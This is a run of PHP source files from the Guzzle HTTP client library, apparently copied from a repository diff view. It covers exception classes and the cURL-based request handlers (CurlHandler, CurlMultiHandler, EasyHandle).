if (preg_match('/[^\pL\pM\pN\pP\pS\pZ\n\r\t]/', $summary)) {
return null;
}
return $summary;
}
/**
* Obfuscates URI if there is an username and a password present
*
* @param UriInterface $uri
*
* @return UriInterface
*/
private static function obfuscateUri($uri)
{
$userInfo = $uri->getUserInfo();
if (false !== ($pos = strpos($userInfo, ':'))) {
return $uri->withUserInfo(substr($userInfo, 0, $pos), '***');
}
return $uri;
}
/**
* Get the request that caused the exception
*
* @return RequestInterface
*/
public function getRequest()
{
return $this->request;
}
/**
* Get the associated response
*
* @return ResponseInterface|null
*/
public function getResponse()
{
return $this->response;
}
/**
* Check if a response was received
*
* @return bool
*/
public function hasResponse()
{
return $this->response !== null;
}
/**
* Get contextual information about the error from the underlying handler.
*
* The contents of this array will vary depending on which handler you are
* using. It may also be just an empty array. Relying on this data will
* couple you to a specific handler, but can give more debug information
* when needed.
*
* @return array
*/
public function getHandlerContext()
{
return $this->handlerContext;
}
}
<?php
namespace GuzzleHttp\Exception;
use Psr\Http\Message\StreamInterface;
/**
* Exception thrown when a seek fails on a stream.
*/
class SeekException extends \RuntimeException implements GuzzleException
{
private $stream;
public function __construct(StreamInterface $stream, $pos = 0, $msg = '')
{
$this->stream = $stream;
$msg = $msg ?: 'Could not seek the stream to position ' . $pos;
parent::__construct($msg);
}
/**
* @return StreamInterface
*/
public function getStream()
{
return $this->stream;
}
}
<?php
namespace GuzzleHttp\Exception;
/**
* Exception when a server error is encountered (5xx codes)
*/
class ServerException extends BadResponseException {}
<?php
namespace GuzzleHttp\Exception;
class TooManyRedirectsException extends RequestException {}
<?php
namespace GuzzleHttp\Exception;
class TransferException extends \RuntimeException implements GuzzleException {}
<?php
namespace GuzzleHttp\Handler;
use Psr\Http\Message\RequestInterface;
interface CurlFactoryInterface
{
/**
* Creates a cURL handle resource.
*
* @param RequestInterface $request Request
* @param array $options Transfer options
*
* @return EasyHandle
* @throws \RuntimeException when an option cannot be applied
*/
public function create(RequestInterface $request, array $options);
/**
* Release an easy handle, allowing it to be reused or closed.
*
* This function must call unset on the easy handle's "handle" property.
*
* @param EasyHandle $easy
*/
public function release(EasyHandle $easy);
}
<?php
namespace GuzzleHttp\Handler;
use GuzzleHttp\Psr7;
use Psr\Http\Message\RequestInterface;
/**
* HTTP handler that uses cURL easy handles as a transport layer.
*
* When using the CurlHandler, custom curl options can be specified as an
* associative array of curl option constants mapping to values in the
* **curl** key of the "client" key of the request.
*/
class CurlHandler
{
/** @var CurlFactoryInterface */
private $factory;
/**
* Accepts an associative array of options:
*
* - factory: Optional curl factory used to create cURL handles.
*
* @param array $options Array of options to use with the handler
*/
public function __construct(array $options = [])
{
$this->factory = isset($options['handle_factory'])
? $options['handle_factory']
: new CurlFactory(3);
}
public function __invoke(RequestInterface $request, array $options)
{
if (isset($options['delay'])) {
usleep($options['delay'] * 1000);
}
$easy = $this->factory->create($request, $options);
curl_exec($easy->handle);
$easy->errno = curl_errno($easy->handle);
return CurlFactory::finish($this, $easy, $this->factory);
}
}
<?php
namespace GuzzleHttp\Handler;
use GuzzleHttp\Promise as P;
use GuzzleHttp\Promise\Promise;
use GuzzleHttp\Psr7;
use Psr\Http\Message\RequestInterface;
/**
* Returns an asynchronous response using curl_multi_* functions.
*
* When using the CurlMultiHandler, custom curl options can be specified as an
* associative array of curl option constants mapping to values in the
* **curl** key of the provided request options.
*
* @property resource $_mh Internal use only. Lazy loaded multi-handle.
*/
class CurlMultiHandler
{
/** @var CurlFactoryInterface */
private $factory;
private $selectTimeout;
private $active;
private $handles = [];
private $delays = [];
/**
* This handler accepts the following options:
*
* - handle_factory: An optional factory used to create curl handles
* - select_timeout: Optional timeout (in seconds) to block before timing
* out while selecting curl handles. Defaults to 1 second.
*
* @param array $options
*/
public function __construct(array $options = [])
{
$this->factory = isset($options['handle_factory'])
? $options['handle_factory'] : new CurlFactory(50);
$this->selectTimeout = isset($options['select_timeout'])
? $options['select_timeout'] : 1;
}
public function __get($name)
{
if ($name === '_mh') {
return $this->_mh = curl_multi_init();
}
throw new \BadMethodCallException();
}
public function __destruct()
{
if (isset($this->_mh)) {
curl_multi_close($this->_mh);
unset($this->_mh);
}
}
public function __invoke(RequestInterface $request, array $options)
{
$easy = $this->factory->create($request, $options);
$id = (int) $easy->handle;
$promise = new Promise(
[$this, 'execute'],
function () use ($id) { return $this->cancel($id); }
);
$this->addRequest(['easy' => $easy, 'deferred' => $promise]);
return $promise;
}
/**
* Ticks the curl event loop.
*/
public function tick()
{
// Add any delayed handles if needed.
if ($this->delays) {
$currentTime = microtime(true);
foreach ($this->delays as $id => $delay) {
if ($currentTime >= $delay) {
unset($this->delays[$id]);
curl_multi_add_handle(
$this->_mh,
$this->handles[$id]['easy']->handle
);
}
}
}
// Step through the task queue which may add additional requests.
P\queue()->run();
if ($this->active &&
curl_multi_select($this->_mh, $this->selectTimeout) === -1
) {
// Perform a usleep if a select returns -1.
// See: https://bugs.php.net/bug.php?id=61141
usleep(250);
}
while (curl_multi_exec($this->_mh, $this->active) === CURLM_CALL_MULTI_PERFORM);
$this->processMessages();
}
/**
* Runs until all outstanding connections have completed.
*/
public function execute()
{
$queue = P\queue();
while ($this->handles || !$queue->isEmpty()) {
// If there are no transfers, then sleep for the next delay
if (!$this->active && $this->delays) {
usleep($this->timeToNext());
}
$this->tick();
}
}
private function addRequest(array $entry)
{
$easy = $entry['easy'];
$id = (int) $easy->handle;
$this->handles[$id] = $entry;
if (empty($easy->options['delay'])) {
curl_multi_add_handle($this->_mh, $easy->handle);
} else {
$this->delays[$id] = microtime(true) + ($easy->options['delay'] / 1000);
}
}
/**
* Cancels a handle from sending and removes references to it.
*
* @param int $id Handle ID to cancel and remove.
*
* @return bool True on success, false on failure.
*/
private function cancel($id)
{
// Cannot cancel if it has been processed.
if (!isset($this->handles[$id])) {
return false;
}
$handle = $this->handles[$id]['easy']->handle;
unset($this->delays[$id], $this->handles[$id]);
curl_multi_remove_handle($this->_mh, $handle);
curl_close($handle);
return true;
}
private function processMessages()
{
while ($done = curl_multi_info_read($this->_mh)) {
$id = (int) $done['handle'];
curl_multi_remove_handle($this->_mh, $done['handle']);
if (!isset($this->handles[$id])) {
// Probably was cancelled.
continue;
}
$entry = $this->handles[$id];
unset($this->handles[$id], $this->delays[$id]);
$entry['easy']->errno = $done['result'];
$entry['deferred']->resolve(
CurlFactory::finish(
$this,
$entry['easy'],
$this->factory
)
);
}
}
private function timeToNext()
{
$currentTime = microtime(true);
$nextTime = PHP_INT_MAX;
foreach ($this->delays as $time) {
if ($time < $nextTime) {
$nextTime = $time;
}
}
return max(0, $nextTime - $currentTime) * 1000000;
}
}
<?php
namespace GuzzleHttp\Handler;
use GuzzleHttp\Psr7\Response;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\StreamInterface;
/**
* Represents a cURL easy handle and the data it populates.
*
* @internal
*/
final class EasyHandle
{
/** @var resource cURL resource */
public $handle;
/** @var StreamInterface Where data is being written */
public $sink;
/** @var array Received HTTP headers so far */
public $headers = [];
/** @var ResponseInterface Received response (if any) */
public $response;
/** @var RequestInterface Request being sent */
public $request;
/** @var array Request options */
public $options = [];
/** @var int cURL error number (if any) */
public $errno = 0;
/** @var \Exception Exception during on_headers (if any) */
public $onHeadersException;
/**
* Attach a response to the easy handle based on the received headers.
*
* @throws \RuntimeException if no headers have been received.
*/
public function createResponse()
{
if (empty($this->headers)) {
throw new \RuntimeException('No headers have been received');
}
// HTTP-version SP status-code SP reason-phrase
$startLine = explode(' ', array_shift($this->headers), 3);
$headers = \GuzzleHttp\headers_from_lines($this->headers);
$normalizedKeys = \GuzzleHttp\normalize_header_keys($headers);
if (!empty($this->options['decode_content'])
&& isset($normalizedKeys['content-encoding'])
) {
$headers['x-encoded-content-encoding']
= $headers[$normalizedKeys['content-encoding']];
unset($headers[$normalizedKeys['content-encoding']]);
if (isset($normalizedKeys['content-length'])) {
$headers['x-encoded-content-length']
= $headers[$normalizedKeys['content-length']];
$bodyLength = (int) $this->sink->getSize();
if ($bodyLength) {
$headers[$normalizedKeys['content-length']] = $bodyLength;
} else {
unset($headers[$normalizedKeys['content-length']]);
}
}
}
// Attach a response to the easy handle with the parsed headers.
$this->response = new Response(
$startLine[1],
$headers,
$this->sink,
substr($startLine[0], 5),
isset($startLine[2]) ? (string) $startLine[2] : null
);
}
public function __get($name)
{
$msg = $name === 'handle'
? 'The EasyHandle has been released'
: 'Invalid property: ' . $name;
throw new \BadMethodCallException($msg);
}
}
This diff could not be displayed because it is too large.
This diff could not be displayed because it is too large.
This diff could not be displayed because it is too large.